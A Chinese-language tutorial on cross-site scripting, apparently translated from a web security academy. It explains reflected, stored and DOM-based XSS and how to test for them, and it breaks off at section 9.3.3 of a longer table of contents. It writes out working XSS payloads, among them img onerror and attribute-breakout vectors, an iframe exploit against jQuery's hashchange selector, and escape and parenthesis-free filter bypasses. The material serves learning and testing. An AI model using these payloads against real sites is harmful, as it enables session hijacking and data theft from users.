【Academy】跨站点脚本 XSS ------ Cross-site scripting
跨站点脚本 XSS ------ Cross-site scripting
- 1. 什么是跨站点脚本 (XSS)?
- 2. XSS 是如何工作的?
- 3. XSS 漏洞的影响
- 4. XSS 概念验证
- 5. 如何查找和测试 XSS 漏洞
- 6. 反射型 XSS
- 6.1 反射型 XSS 攻击的影响
- 6.2 在不同上下文中的反射型 XSS
- 6.3 如何查找和测试反射型 XSS
- 6.4 有关反射式跨站点脚本的常见问题
- 7. 存储型 XSS
- 7.1 存储型 XSS 攻击的影响
- 7.2 不同上下文中的存储型 XSS
- 7.3 如何查找和测试存储型 XSS 漏洞
- 8. 基于 DOM 的 XSS
- 8.1 如何测试基于 DOM 的 XSS
- 8.1.1 测试 HTML 接收器
- 8.1.2 测试 JavaScript 执行汇点 sinks
- 8.1.3 使用 DOM Invader 测试 DOM XSS
- 8.2 利用具有不同源和接收器的 DOM XSS
- 8.2.1 第三方依赖中的 sources 和 sink
- 8.2.1.1 jQuery 中的 DOM XSS
- 8.2.1.2 AngularJS 中的 DOM XSS
- 8.2.2 DOM XSS 与反射和存储数据相结合
- 8.2.3 哪些接收器会导致 DOM-XSS 漏洞?
- 8.2.4 如何防止 DOM-XSS 漏洞
- 9. XSS 上下文
- 9.1 HTML 标记之间的 XSS
- 9.2 HTML 标记属性中的 XSS
- 9.3 JavaScript 中的 XSS
- 9.3.1 终止现有脚本
- 9.3.2 跳出 JavaScript 字符串
- 9.3.3 使用 HTML 编码
- 9.3.4 JavaScript 模板文本中的 XSS
- 9.4 通过客户端模板注入的 XSS
- 9.4.1 什么是 AngularJS 沙箱?
- 9.4.2 AngularJS 沙箱逃逸是如何工作的?
- 9.4.2.1 构造高级 AngularJS 沙箱逃逸
- 9.4.3 AngularJS CSP 绕过如何工作?
- 9.4.3.1 使用 AngularJS 沙箱逃逸绕过内容安全策略(Content Security Policy,CSP)
- 9.4.4 如何防止客户端模板注入漏洞
- 10. 利用跨站点脚本漏洞
- 10.1 XSS 窃取 cookie
- 10.2 XSS 捕获密码
- 10.3 XSS 绕过 CSRF 保护
- 11. 悬空标记注入
- 11.1 如何防止悬空标记注入攻击
- 12. 内容安全策略 CSP
- 12.1 使用 CSP 缓解 XSS 攻击
- 12.2 使用 CSP 缓解悬空标记攻击
- 12.3 通过策略注入绕过 CSP
- 12.4 使用 CSP 防止点击劫持
- 13. 如何防止 XSS
- 13.1 输出时编码数据
- 13.2 输入时验证内容
- 13.3 允许“安全”的 HTML
- 13.4 使用模板引擎防止跨站脚本攻击(XSS)
- 13.5 在PHP中防止XSS
- 13.6 在 JavaScript 中防止客户端 XSS 攻击
- 13.7 在jQuery中防止XSS
- 13.8 使用内容安全策略(CSP)缓解XSS
- 14. 有关跨站点脚本的常见问题
概述
本文将解释什么是跨站点脚本,描述不同种类的跨站点脚本漏洞,并详细说明如何查找和防御跨站点脚本漏洞。
1. 什么是跨站点脚本 (XSS)?
跨站点脚本(也称为 XSS)是一种 Web 安全漏洞,它允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者规避同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,则攻击者可能能够完全控制应用程序的所有功能和数据。
2. XSS 是如何工作的?
跨站脚本攻击通过操纵易受攻击的网站,使其向用户返回恶意 JavaScript。当恶意代码在受害者的浏览器中执行时,攻击者可以完全破坏他们与应用程序的交互。
3. XSS 漏洞的影响
XSS 攻击的实际影响通常取决于应用程序的性质、功能和数据以及被攻击用户的状态。例如:
- 在一个信息展示类应用程序中,所有用户都是匿名的且所有信息都是公开的,那么影响通常是最小的。
- 在一个保存敏感数据的应用程序中,如银行交易、电子邮件或医疗记录,影响通常是严重的。
- 如果被攻击的用户在应用程序中具有较高权限,那么影响通常是至关重要的,允许攻击者完全控制易受攻击的应用程序并危及所有用户及其数据。
XSS 可以用来做什么?
利用跨站点脚本漏洞的攻击者通常能够:
- 冒充或伪装成受害者用户。
- 执行用户能够执行的任何作。
- 读取用户能够访问的任何数据。
- 捕获用户的登录凭证。
- 对网站进行虚拟篡改。。
- 向网站注入木马功能。
4. XSS 概念验证
您可以通过注入导致您自己的浏览器执行任意 JavaScript 的有效负载来确认大多数类型的 XSS 漏洞。长期以来,使用 alert()
函数来实现此目的是一种常见的做法,因为它简短、无害,并且在成功调用时很难错过。
不幸的是,如果你使用 Chrome 浏览器,会有一个小问题。从 92 版本开始(2021 年 7 月 20 日),跨源 iframe
被阻止调用alert()
。由于这些被用于构建一些更高级的 XSS 攻击,你有时需要使用替代的 PoC 有效载荷。在这种情况下,推荐print()
函数。
5. 如何查找和测试 XSS 漏洞
绝大多数 XSS 漏洞可以使用 Burp Suite 的 Web 漏洞扫描器快速、可靠地找到。
手动测试反射型和存储型 XSS 通常涉及将一些简单唯一的输入(例如短的字母数字字符串)提交到应用程序的每个入口点,识别在 HTTP 响应中返回提交输入的每个位置,并单独测试每个位置以确定精心构造的输入是否可用于执行任意 JavaScript。通过这种方式,您可以确定 XSS 发生的上下文并选择合适的有效载荷来利用它。
手动测试由 URL 参数引起的基于 DOM 的 XSS 涉及类似的过程:将一些简单唯一的输入放在参数中,使用浏览器的开发人员工具在 DOM 中搜索此输入,并测试每个位置以确定它是否可利用。然而,其他类型的 DOM XSS 更难检测。要在非基于 URL 的输入(例如document.cookie
)或非基于 HTML 的接收器(如setTimeout
)中查找基于 DOM 的漏洞,没有什么可以替代审查 JavaScript 代码,这可能非常耗时。Burp Suite 的 Web 漏洞扫描器结合了 JavaScript 的静态和动态分析,以可靠地自动检测基于 DOM 的漏洞。
XSS 攻击有哪些类型?
XSS 攻击主要有三种类型。这些是:
- 反射型 XSS,其中恶意脚本来自当前 HTTP 请求。
- 存储型 XSS,恶意脚本来自网站的数据库。
- 基于 DOM 的 XSS,其中漏洞存在于客户端代码而不是服务器端代码中。
6. 反射型 XSS
反射型 XSS 是最简单的跨站点脚本变体。当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现此错误。
下面是反射型 XSS 漏洞的一个简单示例:
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>
该应用程序不执行任何其他数据处理,因此攻击者可以轻松构建如下攻击:
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
如果用户访问攻击者构建的 URL,则攻击者的脚本将在用户的浏览器中执行,在该用户与应用程序的会话上下文中执行。此时,脚本可以执行用户有权访问的任何操作,并检索任何数据。
在本节中将解释反射式跨站点脚本,描述反射型 XSS 攻击的影响,并详细说明如何查找反射型 XSS 漏洞。
什么是反射型跨站点脚本?
当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现反射型跨站点脚本(或 XSS)。
假设一个网站有一个搜索函数,该函数在 URL 参数中接收用户提供的搜索词:
https://insecure-website.com/search?term=gift
应用程序在对此 URL 的响应中回显提供的搜索词:
<p>You searched for: gift</p>
假设应用程序不执行任何其他数据处理,攻击者可以构建如下攻击:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
此 URL 会导致以下响应:
<p>You searched for: <script>/* Bad stuff here... */</script></p>
如果应用程序的另一个用户请求攻击者的 URL,那么攻击者提供的脚本将在受害用户的浏览器中执行,在该用户与应用程序的会话上下文中。
6.1 反射型 XSS 攻击的影响
如果攻击者可以控制在受害者浏览器中执行的脚本,那么他们通常可以完全危害该用户。此外,攻击者还可以:
- 在应用程序中执行用户可以执行的任何作。
- 查看用户能够查看的任何信息。
- 修改用户能够修改的任何信息。
- 发起与其他应用程序用户的交互,包括恶意攻击,这些攻击似乎来自最初的受害者用户。
攻击者可以通过多种方式诱导受害者用户发出他们控制的请求,从而实施反射型 XSS 攻击。这些方式包括在攻击者控制的网站上放置链接,或者在另一个允许生成内容的网站上放置链接,或者在电子邮件、推文或其他消息中发送链接。攻击可以直接针对已知用户,也可以是对应用程序的任何用户进行的无差别攻击。
攻击需要外部传递机制意味着反射型 XSS 的影响通常不如存储型 XSS 严重,在存储型 XSS 中,一个自包含的攻击可以在易受攻击的应用程序内部传递。
6.2 在不同上下文中的反射型 XSS
反射型跨站点脚本有许多不同种类。反射数据在应用程序响应中的位置决定了利用它所需的有效负载类型,并且还可能影响漏洞的影响。
此外,如果应用程序在提交的数据被反射之前对其进行任何验证或其他处理,这通常会影响所需的 XSS 有效载荷的类型。
6.3 如何查找和测试反射型 XSS
使用 Burp Suite 的 Web 漏洞扫描程序,可以快速可靠地找到绝大多数反射的跨站点脚本漏洞。
手动测试反射型 XSS 漏洞包括以下步骤:
- 测试每个入口点。单独测试应用程序 HTTP 请求中的每个入口点中的数据。这包括 URL 查询字符串和消息正文中的参数或其他数据,以及 URL 文件路径。它还包括 HTTP 标头,尽管只能通过某些 HTTP 标头触发的类似 XSS 的行为在实践中可能无法利用。
- 提交随机字母数字值。对于每个入口点,提交一个唯一的随机值,并确定该值是否在响应中被反射。这个值应该能够通过大多数输入验证,所以需要相当短且只包含字母数字字符。但它也需要足够长,以使得在响应中偶然匹配的可能性非常低。一个大约 8 个字符的随机字母数字值通常是理想的。你可以使用 Burp Intruder 的数字有效载荷和随机生成的十六进制值来生成合适的随机值。并且你可以使用 Burp Intruder 的grep 有效载荷设置来自动标记包含提交值的响应。
- 确定反射上下文。对于响应中反映随机值的每个位置,确定其上下文。这可能是在 HTML 标签之间的文本中、在可能被引用的 tag 属性中、在 JavaScript 字符串中等。
- 测试候选有效负载。根据反射的上下文,测试初始候选 XSS 有效负载,如果它在响应中未经修改地反映,它将触发 JavaScript 执行。测试负载的最简单方法是将请求发送到 Burp Repeater,修改请求以插入候选负载,发出请求,然后查看响应以查看负载是否有效。一种有效的工作方式是将原始随机值保留在请求中,并将候选 XSS 有效负载放在它之前或之后。然后将随机值设置为 Burp Repeater 响应视图中的搜索词。Burp 将突出显示搜索词出现的每个位置,以便您快速找到反射。
- 测试替代负载。如果候选 XSS 有效负载被应用程序修改或完全阻止,则需要根据反射的上下文和正在执行的输入验证类型测试可能提供有效 XSS 攻击的替代有效负载和技术。有关更多详细信息,请参阅跨站点脚本上下文。
- 在浏览器中测试攻击。最后,如果您成功找到似乎在 Burp Repeater 中有效的有效负载,请将攻击转移到真实的浏览器(通过将 URL 粘贴到地址栏中,或通过在 Burp Proxy 的拦截视图中修改请求),并查看注入的 JavaScript 是否确实被执行。通常,最好执行一些简单的 JavaScript,例如
alert(document.domain)
如果攻击成功,它将在浏览器中触发一个可见的弹出窗口。
6.4 有关反射式跨站点脚本的常见问题
反射型 XSS 和存储型 XSS 有什么区别?当应用程序从 HTTP 请求中获取一些输入并以不安全的方式将该输入嵌入到即时响应中时,就会出现反射型 XSS。使用存储型 XSS 时,应用程序会存储输入,并以不安全的方式将其嵌入到后面的响应中。
反射型 XSS 和自触发型 XSS 有什么区别?Self-XSS 涉及与常规反射型 XSS 类似的应用程序行为,但它不能通过构建的 URL 或跨域请求以正常方式触发。相反,只有当受害者自己从浏览器提交 XSS 有效负载时,才会触发漏洞。实施Self-XSS 攻击通常涉及对受害者进行社会工程,以将攻击者提供的一些输入粘贴到他们的浏览器中。因此,它通常被认为是一个不太严重、影响较小的问题。
7. 存储型 XSS
存储型 XSS(也称为持久 XSS 或二阶 XSS)是指应用程序从不受信任的来源接收数据,并以不安全的方式将该数据包含在其后续的 HTTP 响应中。
有问题的数据可能会通过 HTTP 请求提交给应用程序;例如,对博客文章的评论、聊天室中的用户昵称或客户订单上的联系人详细信息。在其他情况下,数据可能来自其他不受信任的来源;例如,显示通过 SMTP 接收的消息的 Web 邮件应用程序,显示社交媒体帖子的营销应用程序,或者一个网络监控应用程序显示来自网络流量的数据包数据。
下面是一个存储的 XSS 漏洞的简单示例。留言板应用程序允许用户提交消息,这些消息会显示给其他用户:
<p>Hello, this is my message!</p>
该应用程序不执行任何其他数据处理,因此攻击者可以轻松发送攻击其他用户的消息:
<p><script>/* Bad stuff here... */</script></p>
在本节中将解释存储型跨站点脚本,描述存储型XSS 攻击的影响,并详细说明如何查找存储型XSS 漏洞。
什么是存储型跨站点脚本?
当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其后续的 HTTP 响应中时,就会出现存储的跨站点脚本(也称为二阶或持久 XSS)。
假设一个网站允许用户提交对博客文章的评论,这些评论会显示给其他用户。用户使用 HTTP 请求提交评论,如下所示:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
提交此评论后,访问该博客文章的任何用户都将在应用程序的响应中收到以下内容:
<p>This post was extremely helpful.</p>
假设应用程序不执行任何其他数据处理,攻击者可以提交如下恶意评论:
<script>/* Bad stuff here... */</script>
在攻击者的请求中,此评论将被 URL 编码为:
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
现在,访问该博客文章的任何用户都将在应用程序的响应中收到以下内容:
<p><script>/* Bad stuff here... */</script></p>
攻击者提供的脚本随后将在受害用户的浏览器中,在该用户与应用程序的会话上下文中执行。
7.1 存储型 XSS 攻击的影响
如果攻击者能够控制在受害者浏览器中执行的脚本,那么他们通常可以完全攻陷该用户。攻击者可以执行任何适用于反射型 XSS 漏洞影响的操作。
就可利用性而言,反射型 XSS 和存储型 XSS 之间的关键区别在于,存储型 XSS 漏洞使得攻击可以在应用程序自身内部自成一体。攻击者不需要寻找外部方法来诱导其他用户发出包含其漏洞利用的特定请求。相反,攻击者将其漏洞利用放入应用程序本身,然后只需等待用户遇到它。
存储型跨站脚本攻击的自包含性质在跨站脚本(XSS)漏洞仅影响当前登录到应用程序的用户的情况下尤为相关。如果 XSS 是反射型的,那么攻击必须在时机上恰到好处:在用户未登录时被诱导发出攻击者请求的用户不会受到危害。相比之下,如果 XSS 是存储型的,那么用户在遇到攻击时肯定是登录状态。
7.2 不同上下文中的存储型 XSS
有许多不同种类的存储型跨站脚本攻击。存储数据在应用程序响应中的位置决定了利用它所需的有效载荷类型,并且还可能影响漏洞的影响程度。
此外,如果应用程序在存储数据之前或在将存储数据合并到响应中时对数据执行任何验证或其他处理,这通常会影响所需的 XSS 有效载荷类型。
7.3 如何查找和测试存储型 XSS 漏洞
许多存储型的 XSS 漏洞可以使用 Burp Suite 的 Web 漏洞扫描程序找到。
手动测试存储型跨站脚本(XSS)漏洞可能具有挑战性。您需要测试所有相关的“入口点”,攻击者可控制的数据可通过这些入口点进入应用程序的处理过程,以及所有“出口点”,在这些点上数据可能会出现在应用程序的响应中。
进入应用程序处理过程的入口点包括:
- URL 查询字符串和消息正文中的参数或其他数据。
- URL 文件路径。
- 相对于反射型 XSS 可能无法利用的 HTTP 请求标头。
- 攻击者可以将数据传入应用程序的任何带外途径。这些途径的存在完全取决于应用程序实现的功能:一个网络邮件应用程序将处理在电子邮件中接收的数据;一个显示推特消息源的应用程序可能会处理第三方推文中包含的数据;而一个新闻聚合器将包含来自其他网站的数据。
存储型 XSS 攻击的出口点是在任何情况下返回给任何类型的应用程序用户的所有可能的 HTTP 响应。
测试存储型 XSS 漏洞的第一步是定位入口点和出口点之间的链接,即提交到入口点的数据从出口点发出。这可能具有挑战性的原因是:
- 原则上,提交到任何入口点的数据都可以从任何出口点发出。例如,用户提供的显示名称可能显示在仅对某些应用程序用户可见的模糊审计日志中。
- 由于应用程序内执行的其他作,应用程序当前存储的数据通常容易被覆盖。例如,搜索功能可能会显示最近搜索的列表,当用户执行其他搜索时,这些搜索会迅速替换。
要全面识别入口点和出口点之间的联系,就需要分别测试每个排列组合,将特定值提交到入口点,直接导航到出口点,并确定该值是否在那里出现。然而,这种方法在具有多个页面的应用程序中并不实用。
相反,一种更实际的方法是系统地检查数据输入点,向每个输入点提交特定的值,并监测应用程序的响应,以检测提交的值出现的情况。可以特别关注相关的应用程序功能,例如博客文章的评论。当在响应中观察到提交的值时,你需要确定数据是否确实在不同的请求之间被存储,而不是仅仅在即时响应中被反映出来。
当您在应用程序处理过程中确定了入口点和出口点之间的链接时,需要专门测试每个链接,以检测是否存在存储的 XSS 漏洞。这涉及确定响应中存储数据出现的上下文,并测试适用于该上下文的合适候选 XSS 有效负载。在这一点上,测试方法与查找反射的 XSS 漏洞大致相同。
8. 基于 DOM 的 XSS
基于 DOM 的 XSS(也称为 DOM XSS)是指应用程序包含一些客户端 JavaScript,这些 JavaScript 以不安全的方式处理来自不受信任的来源的数据,通常是将数据写回 DOM。
在下面的示例中,应用程序使用一些 JavaScript 从输入字段中读取值,并将该值写入 HTML 中的元素:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
如果攻击者可以控制 input 字段的值,他们就可以很容易地构造一个恶意的值,导致自己的脚本执行:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
在典型情况下,输入字段将从 HTTP 请求的一部分(例如 URL 查询字符串参数)填充,从而允许攻击者以与反射型 XSS 相同的方式使用恶意 URL 进行攻击。
在本节中将介绍基于 DOM 的跨站点脚本 (DOM XSS),解释如何查找 DOM XSS 漏洞,并讨论如何利用具有不同源和接收器的 DOM XSS。
什么是基于 DOM 的跨站点脚本?
基于 DOM 的 XSS 漏洞通常出现在 JavaScript 从攻击者可控制的来源(如 URL)获取数据并将其传递给支持动态代码执行的接收器(如 eval()
或 innerHTML
)时。这使攻击者能够执行恶意 JavaScript,这通常允许他们劫持其他用户的帐户。
要提供基于 DOM 的 XSS 攻击,您需要将数据放入源中,以便将其传播到接收器并导致任意 JavaScript 的执行。
DOM XSS 最常见的源是 URL,通常通过 window.location
对象访问。攻击者可以构造一个链接,将受害者发送到易受攻击的页面,该页面的查询字符串和 URL 的片段部分包含有效负载。在某些情况下,例如,当定位 404 页面或运行 PHP 的网站时,有效负载也可以放置在路径中。
有关 sources 和 sink 之间的污染流的详细解释,请参考基于 DOM 的漏洞文章。
8.1 如何测试基于 DOM 的 XSS
大多数 DOM XSS 漏洞都可以使用 Burp Suite 的 Web 漏洞扫描程序快速可靠地找到。要手动测试基于 DOM 的跨站点脚本,您通常需要使用带有开发人员工具(如 Chrome)的浏览器。您需要依次处理每个可用 source,并单独测试每个 source。
8.1.1 测试 HTML 接收器
要在 HTML 接收器中测试 DOM XSS,请将随机字母数字字符串放入源中(例如 location.search
),然后使用开发人员工具检查 HTML 并查找字符串的显示位置。请注意,浏览器的 “View source” 选项不适用于 DOM XSS 测试,因为它没有考虑 JavaScript 在 HTML 中执行的更改。在 Chrome 的开发者工具中,你可以使用 Control+F(或 MacOS 上的 Command+F)在 DOM 中搜索字符串。
对于字符串在 DOM 中出现的每个位置,您需要标识上下文。根据此上下文,您需要优化您的输入以查看其处理方式。例如,如果您的字符串出现在双引号属性中,则尝试在字符串中注入双引号,以查看是否可以跳出该属性。
请注意,浏览器在 URL 编码方面的行为有所不同,Chrome、Firefox 和 Safari 会对location.search
和location.hash
进行 URL 编码,而 IE11 和 Microsoft Edge(Chromium 之前的版本)不会对这些来源进行 URL 编码。如果你的数据在被处理之前进行了 URL 编码,那么 XSS 攻击不太可能成功。
8.1.2 测试 JavaScript 执行汇点 sinks
为基于 DOM 的 XSS 测试 JavaScript 执行 sink 有点困难。使用这些 sink,你的输入不一定会出现在 DOM 中的任何位置,因此你无法搜索它。相反,您需要使用 JavaScript 调试器来确定是否以及如何将输入发送到接收器。
对于每个可能的来源(例如location
),您首先需要在页面的 JavaScript 代码中找到引用该来源的情况。在 Chrome 的开发者工具中,您可以使用 Control+Shift+F
(或 MacOS 上的 Command+Alt+F
)来搜索页面的所有 JavaScript 代码以查找源代码。
找到读取源的位置后,可以使用 JavaScript 调试器添加断点并遵循源值的使用方式。您可能会发现源被分配给其他变量。如果是这种情况,您将需要再次使用 search 函数来跟踪这些变量,并查看它们是否被传递到 sink。当您找到正在分配源自源的数据的接收器时,您可以使用调试器检查值,方法是将鼠标悬停在变量上,以便在将其发送到接收器之前显示其值。然后,与 HTML 接收器一样,您需要优化输入,以查看是否可以成功提供 XSS 攻击。
8.1.3 使用 DOM Invader 测试 DOM XSS
在实际环境中识别和利用 DOM XSS 可能是一个繁琐的过程,通常需要你手动浏览复杂的、经过压缩的 JavaScript。然而,如果你使用 Burp 的浏览器,你可以利用其内置的 DOM Invader 扩展,它可以为你完成很多艰巨的工作。
8.2 利用具有不同源和接收器的 DOM XSS
原则上,如果存在数据可以从源传播到接收器的可执行路径,则网站容易受到基于 DOM 的跨站点脚本的攻击。在实践中,不同的源和接收器具有不同的属性和行为,这可能会影响可利用性,并确定需要哪些技术。此外,网站的脚本可能会对数据进行验证或其他处理,在尝试利用漏洞时必须考虑这些处理。有多种与基于 DOM 的漏洞相关的接收器。
document.write
接收器适用于script
元素,因此您可以使用简单的有效负载,如下所示:
document.write('... <script>alert(document.domain)</script> ...');
但是请注意,在某些情况下,写入document.write
的内容包含一些周围的上下文,在利用漏洞时你需要考虑到这些上下文。例如,在使用你的 JavaScript 有效载荷之前,你可能需要关闭一些现有的元素。
在任何现代浏览器中,innerHTML
注入点都不接受script
元素,并且svg onload
事件也不会触发。这意味着你需要使用诸如img
或iframe
这样的替代元素。诸如onload
和onerror
这样的事件处理程序可以与这些元素结合使用。例如:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'
8.2.1 第三方依赖中的 sources 和 sink
现代 Web 应用程序通常是使用许多第三方库和框架构建的,这些库和框架通常为开发人员提供额外的功能和能力。重要的是要记住,其中一些也是 DOM XSS 的潜在源和接收器。
8.2.1.1 jQuery 中的 DOM XSS
如果正在使用 JavaScript 库(如 jQuery),请留意可以更改页面上的 DOM 元素的接收器。例如,jQuery 的 attr()
函数可以更改 DOM 元素的属性。如果从用户控制的源(如 URL)读取数据,然后将其传递给 attr()
函数,则可能会操纵发送的值以导致 XSS。例如,这里我们有一些 JavaScript,它使用 URL 中的数据更改了锚元素的 href 属性:
$(function() {
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});
你可以通过修改 URL 来利用这一点,使location.search
源包含恶意 JavaScript URL。在页面的 JavaScript 将此恶意 URL 应用于返回链接的href
后,点击返回链接将执行它:
?returnUrl=javascript:alert(document.domain)
另一个需要注意的潜在接收器是 jQuery 的 $()
选择器函数,该函数可用于将恶意对象注入 DOM。
jQuery 曾经非常流行,一个典型的 DOM XSS 漏洞是由网站将此选择器与location.hash源结合使用,用于动画或自动滚动到页面上的特定元素而引起的。这种行为通常使用易受攻击的hashchange事件处理程序来实现,如下所示:
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
由于hash
是用户可控制的,攻击者可以利用这一点将 XSS 向量注入到$()
选择器汇点中。较新版本的 jQuery 已经修补了这个特定的漏洞,当输入以散列字符(#
)开头时,阻止用户将 HTML 注入到选择器中。然而,你仍然可能在野外找到易受攻击的代码。
要实际利用这个经典漏洞,你需要找到一种在无需用户交互的情况下触发hashchange
事件的方法。其中一种最简单的方法是通过iframe来传递你的漏洞利用代码:
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
在此示例中,src 属性指向哈希值为空的易受攻击的页面。加载 iframe 时,会将 XSS 向量附加到哈希中,从而导致触发 hashchange
事件。
注意
即使是更新的 jQuery 版本,仍然可能通过$()
选择器汇聚点存在漏洞,前提是你完全控制来自不需要#
前缀的源的输入。
8.2.1.2 AngularJS 中的 DOM XSS
如果使用像 AngularJS 这样的框架,可能无需尖括号或事件即可执行 JavaScript。当一个站点在 HTML 元素上使用ng-app
属性时,它将由 AngularJS 处理。在这种情况下,AngularJS 将在可以直接出现在 HTML 中或属性内的双花括号内执行 JavaScript。
8.2.2 DOM XSS 与反射和存储数据相结合
一些纯粹基于 DOM 的漏洞仅存在于单个页面中。如果一个脚本从 URL 读取一些数据并将其写入危险的接收点,那么该漏洞完全在客户端。
然而,来源并不局限于浏览器直接暴露的数据——它们也可以来自网站。例如,网站通常在服务器的 HTML 响应中反映 URL 参数。这通常与普通的跨站脚本攻击(XSS)相关,但也可能导致反射型 DOM XSS 漏洞。
在反射型 DOM XSS 漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可能被放入 JavaScript 字符串字面量中,或者放入 DOM 中的数据项中,例如表单字段。页面上的脚本随后以不安全的方式处理反射的数据,最终将其写入危险的接收点。
eval('var data = "reflected string"');
网站也可能在服务器上存储数据并在其他地方反映出来。在存储型 DOM XSS 漏洞中,服务器从一个请求接收数据,存储它,然后在后续响应中包含该数据。后续响应中的脚本包含一个接收点,然后以不安全的方式处理数据。
element.innerHTML = comment.author
8.2.3 哪些接收器会导致 DOM-XSS 漏洞?
以下是可能导致 DOM-XSS 漏洞的一些主要接收器:
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
8.2.4 如何防止 DOM-XSS 漏洞
应避免允许将来自任何不受信任来源的数据动态写入 HTML 文档。
9. XSS 上下文
在测试反射和存储的 XSS 时,一个关键任务是识别 XSS 上下文:
- 响应中攻击者可控制数据出现的位置。
- 应用程序对该数据执行的任何输入验证或其他处理。
然后,根据这些详细信息,您可以选择一个或多个候选 XSS 负载,并测试它们是否有效。
注意
查看 XSS cheat sheet ,以帮助测试 Web 应用程序和过滤器。您可以按事件和标签进行筛选,并查看哪些向量需要用户交互。Cheat sheet 还包含 AngularJS 沙箱转义和许多其他部分,以帮助进行 XSS 测试。
9.1 HTML 标记之间的 XSS
当 XSS 上下文是 HTML 标记之间的文本时,您需要引入一些旨在触发 JavaScript 执行的新 HTML 标记。
执行 JavaScript 的一些有用方法是:
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
9.2 HTML 标记属性中的 XSS
当 XSS 上下文位于 HTML 标记属性值中时,您有时可能能够终止该属性值、关闭该标记并引入一个新的标记。例如:
"><script>alert(document.domain)</script>
在这种情况下,更常见的是,尖括号被阻止或编码,因此你的输入无法突破它所在的标签。如果你能够终止属性值,通常可以引入一个新的属性来创建一个可脚本化的上下文,例如事件处理程序。例如:
" autofocus onfocus=alert(document.domain) x="
上述有效负载创建一个onfocus
事件,当元素获得焦点时将执行 JavaScript,并且还添加了autofocus
属性,试图在没有任何用户交互的情况下自动触发onfocus
事件。最后,它添加x="
以优雅地修复余下标记。
有时,XSS 上下文位于一种 HTML 标记属性中,该属性本身可以创建可编写脚本的上下文。在这里,您可以执行 JavaScript,而无需终止 属性值。例如,如果 XSS 上下文位于锚标签的 href 属性中,则可以使用 javascript 伪协议来执行脚本。例如:
<a href="javascript:alert(document.domain)">
你可能会遇到对尖括号进行编码但仍允许你注入属性的网站。有时,即使在通常不会自动触发事件的标签(例如规范标签)内,也可能进行这种注入。你可以在 Chrome 上使用访问键和用户交互来利用这种行为。访问键允许你提供引用特定元素的键盘快捷键。accesskey
属性允许你定义一个字母,当与其他键(不同平台有所不同)组合按下时,将触发事件。
9.3 JavaScript 中的 XSS
当 XSS 上下文是响应中的一些现有 JavaScript 时,可能会出现各种各样的情况,需要不同的技术才能成功利用漏洞。
9.3.1 终止现有脚本
在最简单的情况下,可以简单地关闭包含现有 JavaScript 的 script 标签,并引入一些将触发 JavaScript 执行的新 HTML 标签。例如,如果 XSS 上下文如下所示:
<script>
...
var input = 'controllable data here';
...
</script>
然后,您可以使用以下有效负载来打破现有的 JavaScript 并执行您自己的 JavaScript:
</script><img src=1 onerror=alert(document.domain)>
这种方法之所以有效,是因为浏览器首先执行 HTML 解析以识别页面元素,包括脚本块,然后才执行 JavaScript 解析以理解和执行嵌入的脚本。上述有效负载会使原始脚本中断,出现未终止的字符串字面量。但这并不妨碍后续脚本以正常方式被解析和执行。
9.3.2 跳出 JavaScript 字符串
如果 XSS 上下文位于带引号的字符串文字中,通常可以跳出字符串并直接执行 JavaScript。在 XSS 上下文之后修复脚本是必不可少的,因为那里的任何语法错误都会阻止整个脚本执行。
打破字符串文字的一些有用方法是:
'-alert(document.domain)-'
';alert(document.domain)//
一些应用程序试图通过用反斜杠转义任何单引号字符来防止输入突破 JavaScript 字符串。字符前的反斜杠告诉 JavaScript 解析器该字符应按字面解释,而不是作为特殊字符(如字符串终止符)。在这种情况下,应用程序经常犯的错误是未能转义反斜杠字符本身。这意味着攻击者可以使用他们自己的反斜杠字符来中和应用程序添加的反斜杠。
例如,假设输入:
';alert(document.domain)//
被转换为:
\';alert(document.domain)//
您现在可以使用替代负载:
\';alert(document.domain)//
它被转换为:
\\';alert(document.domain)//
在这里,第一个反斜杠意味着第二个反斜杠被按字面解释,而不是作为特殊字符。这意味着引号现在被解释为字符串终止符,因此攻击成功。
一些网站通过限制允许使用的字符来使跨站脚本攻击(XSS)更加困难。这可以在网站层面上进行,也可以通过部署一个 Web 应用防火墙(WAF)来防止你的请求到达网站。在这些情况下,你需要尝试其他绕过这些安全措施来调用函数的方法。一种方法是使用带有异常处理程序的throw
语句。这使你能够在不使用括号的情况下将参数传递给函数。以下代码将alert()
函数分配给全局异常处理程序,并且throw
语句将1
传递给异常处理程序(在这种情况下是alert
)。最终结果是alert()
函数以1
作为参数被调用。
onerror=alert;throw 1
有多种方法可以使用此技术调用不带括号的函数。
9.3.3 使用 HTML 编码
当 XSS 上下文是引号标记属性(例如事件处理程序)中的一些现有 JavaScript 时,可以利用 HTML 编码来绕过一些输入过滤器。
